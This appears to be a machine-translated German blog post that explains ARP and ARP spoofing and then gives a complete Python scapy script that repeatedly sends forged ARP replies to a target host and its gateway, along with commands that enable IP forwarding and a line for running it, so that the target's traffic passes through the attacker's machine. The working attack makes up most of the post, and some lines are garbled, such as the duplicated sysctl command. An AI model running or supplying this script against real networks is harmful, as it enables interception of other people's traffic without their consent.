ARP-Spoofing
Zunächst werde ich erklären, was ARP auf meine eigene Weise ist. (Ich denke, es ist leicht zu verstehen, wenn Sie eine Figur machen) Bei der Kommunikation innerhalb des lokalen Bereichs (Schicht 2 oder niedriger) wird die MAC-Adresse anhand der IP-Adresse überprüft und die Kommunikation wird basierend auf dieser MAC-Adresse durchgeführt. Aus diesem Grund ist das ARP-Protokoll für den Teil "Finden der MAC-Adresse aus der IP-Adresse" zuständig. Nachdem Sie eine ungefähre Vorstellung davon haben, wie ARP funktioniert, handelt es sich um ARP-Spoofing, aber das Auffinden der MAC-Adresse anhand der IP-Adresse ist unpraktisch, wenn Sie dies bei jeder Kommunikation tun, nicht wahr? Tatsächlich besitzt das Terminal die Daten "Diese IP-Adresse ist diese MAC-Adresse". Und es ist ARP-Spoofing, das versucht, die entsprechenden Daten zu ändern (zu täuschen) (im Folgenden als ARP-Tabelle bezeichnet). Wenn Sie dies tun, senden Sie ein Paket an das Terminal des Angreifers, das andernfalls an den Router gesendet würde, und Sie können auch die ARP-Tabelle des Routers ändern, um in die Kommunikationsquelle einzudringen. Das folgende Programm führt Folgendes aus:
#coding:utf-8
from scapy.all import *
import time
import sys
conf.verb = 0
gateway_ip = sys.argv[1]
gateway_mac = sys.argv[2]
target_ip = sys.argv[3]
target_mac = sys.argv[4]
def main():
try:
print "[*] Start ARPspoofing..."
poison_target(target_ip,target_mac,gateway_ip,gateway_mac)
except KeyboardInterrupt:
pass
finally:
time.sleep(2)
restore_table(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)
def poison_target(target_ip,target_mac,gateway_ip,gateway_mac):
poisoning_target = Ether(dst=target_mac)/ARP()
poisoning_target.op = 2
poisoning_target.psrc = gateway_ip
poisoning_target.pdst = target_ip
poisoning_gateway = Ether(dst=gateway_mac)/ARP()
poisoning_gateway.op = 2
poisoning_gateway.psrc = target_ip
poisoning_gateway.pdst = gateway_ip
while True:
sendp(poisoning_target)
sendp(poisoning_gateway)
time.sleep(5)
print "[*] Finished."
return
def restore_table(gateway_ip,gateway_mac,target_ip,target_mac):
print "[*] Restoring target."
send(ARP(op=1,psrc=gateway_ip,hwsrc=gateway_mac,pdst=target_ip,hwdst=target_mac),count=3)
if __name__=="__main__":
main()
Für Mac
sudo sysctl -w net.inet.ip.forwarding=1
Für Linux
sudo sysctl -w sudo sysctl -w net.ipv4.ip_forward=1
Laufen
sudo python arpspoofing.py gateway IP gateway MAC Ziel IP Ziel MAC
Alle vom Ziel angegebenen übertragenen Pakete des Terminals fliegen zu Ihrem Terminal.
Zuvor wurde die MAC-Adresse des anderen Teilnehmers (Gateway, Ziel) durch Senden erhalten, aber die MAC-Adresse Ihres Terminals (Angreifers), die in dem zu diesem Zeitpunkt gesendeten Anforderungspaket enthalten ist, wird angegeben. Ich habe beschlossen, es anzugeben, da die MAC-Adresse beim Ausführen von ARP-Spuffing möglicherweise dupliziert wird, da sie in die ARP-Tabelle aufgenommen wird. Da jedoch die MAC-Adresse des Angreifers im Gateway vorhanden ist, bevor ARP-Spoofing durchgeführt wird, kommt es zu Duplikationen. .. Als Lösung denke ich jetzt daran, die MAC-Adresse des Angreifers zu fälschen. Es kann sich um eine virtuelle Maschine handeln
Referenziertes Buch https://www.oreilly.co.jp/books/9784873117317/
Recommended Posts